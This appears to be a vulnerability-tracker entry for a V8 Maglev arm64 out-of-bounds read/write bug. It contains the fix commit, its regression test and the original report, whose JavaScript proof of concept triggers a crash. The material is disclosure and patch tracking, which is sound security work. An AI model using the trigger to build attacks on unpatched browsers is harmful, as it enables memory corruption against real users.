Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds read and write in V8
DescriptionOut of bounds read and write in V8
ComponentV8
Bug ClassOOB
Tracker466786677
Fix commite0052e7af9c9 (v8/v8) +25/-3
CISA KEVNot listed
CreditedShaheen Fazim
Disclosed2025-12-16

Files Changed

  • src/maglev/arm64/maglev-ir-arm64.cc
  • test/mjsunit/maglev/regress-466786677.js
From e0052e7af9c98557d2e65431a9c070c7469c7b06 Mon Sep 17 00:00:00 2001
From: Victor Gomes <victorgomes@chromium.org>
Date: Tue, 09 Dec 2025 15:16:44 +0100
Subject: [PATCH] [maglev][arm64] Ensure we zero-extend in Int32Multiply

Fixed: 466786677
Change-Id: Ie75222393743a8beeb99f9382dc6d345b8f62604
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7241729
Auto-Submit: Victor Gomes <victorgomes@chromium.org>
Commit-Queue: Darius Mercadier <dmercadier@chromium.org>
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Commit-Queue: Victor Gomes <victorgomes@chromium.org>
Cr-Commit-Position: refs/heads/main@{#104206}
---

diff --git a/src/maglev/arm64/maglev-ir-arm64.cc b/src/maglev/arm64/maglev-ir-arm64.cc
index d76c6d1..049cb75 100644
--- a/src/maglev/arm64/maglev-ir-arm64.cc
+++ b/src/maglev/arm64/maglev-ir-arm64.cc
@@ -323,7 +323,7 @@
   __ Smull(out, left, right);
 
   // Making sure that the 32-bit output is zero-extended.
-  __ Move(out.W(), out.W());
+  __ Mov(out.W(), out.W());
 }
 
 void Int32MultiplyOverflownBits::SetValueLocationConstraints() {
@@ -468,7 +468,7 @@
 
   // Making sure that the 32-bit output is zero-extended (and moving it to the
   // right register if {out_alias_input} is true).
-  __ Move(out, res.W());
+  __ Mov(out, res.W());
 }
 
 void Int32DivideWithOverflow::SetValueLocationConstraints() {
@@ -536,7 +536,7 @@
   __ CompareAndBranch(temp, Immediate(0), ne,
                       __ GetDeoptLabel(this, DeoptimizeReason::kNotInt32));
 
-  __ Move(out, res);
+  __ Mov(out, res);
 }
 
 void Int32ModulusWithOverflow::SetValueLocationConstraints() {
diff --git a/test/mjsunit/maglev/regress-466786677.js b/test/mjsunit/maglev/regress-466786677.js
new file mode 100644
index 0000000..5b58f11
--- /dev/null
+++ b/test/mjsunit/maglev/regress-466786677.js
@@ -0,0 +1,22 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function trigger(cond) {
+  let o = {};
+  let mul = (cond ? 1 : 0x80000000) | 0;
+  print(mul);
+  let idx = (mul * 2) | 0;
+  print(idx);
+  o[0] = 1.1;
+  if (cond) o[1] = 2.2;
+  return o[idx];
+}
+
+%PrepareFunctionForOptimization(trigger);
+trigger(true);
+trigger(false);
+%OptimizeMaglevOnNextCall(trigger);
+trigger(false);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/maglev/regress-466786677.js b/test/mjsunit/maglev/regress-466786677.js
new file mode 100644
index 0000000..5b58f11
--- /dev/null
+++ b/test/mjsunit/maglev/regress-466786677.js
@@ -0,0 +1,22 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function trigger(cond) {
+  let o = {};
+  let mul = (cond ? 1 : 0x80000000) | 0;
+  print(mul);
+  let idx = (mul * 2) | 0;
+  print(idx);
+  o[0] = 1.1;
+  if (cond) o[1] = 2.2;
+  return o[idx];
+}
+
+%PrepareFunctionForOptimization(trigger);
+trigger(true);
+trigger(false);
+%OptimizeMaglevOnNextCall(trigger);
+trigger(false);
Loading diff…

Original Bug Report

reported by fa...@gmail.com

v8 incorrect Integer Overflow Elimination leads to potential OOB R/W

Received signal 11 SEGV_ACCERR 719801064773

==== C stack trace ===============================

../v8/v8/out/arm64/d8(__interceptor_backtrace+0x46)[0x5cca99d37a66]
../v8/v8/out/arm64/d8(_ZN2v84base5debug10StackTraceC2Ev+0x13)[0x5ccaa1e105a3]
../v8/v8/out/arm64/d8(+0xc4a03b0)[0x5ccaa1e103b0]
/lib/x86_64-linux-gnu/libc.so.6(+0x45330)[0x76dd7ca45330]
../v8/v8/out/arm64/d8(v8_internal_simulator_ProbeMemory+0x0)[0x5cca9df2d888]
[end of stack trace]
Segmentation fault

VERSION

V8 version 14.5.0 (candidate)

REPRODUCTION CASE

Build: linux arm64 simulated

is_asan = true
is_debug = true
symbol_level = 2
v8_enable_backtrace = true
target_cpu = "x64"
v8_target_cpu = "arm64"
v8_enable_i18n_support = false
is_component_build = false

poc.js:

let warmup_count = 300;
for (let i = 0; i < warmup_count; i++) {
  let o = {};
  o[0] = i * 0.1;
  o[1] = i * 0.1;
  o[2] = i * 0.1;
  let x = o[2];
}

function trigger(cond) {
  let o = {};
  let mul = (cond ? 1 : 0x80000000) | 0;
  let idx = (mul * 2) | 0;
  o[0] = 1.1;
  if (cond) o[1] = 2.2;
  return o[idx];
}

for (let i = 0; i < 300; i++) {
  trigger(true);
  trigger(false);
}

trigger(true);
trigger(false);

Run: ./d8 poc.js


Reporter credit: Shaheen Fazim

View on issue tracker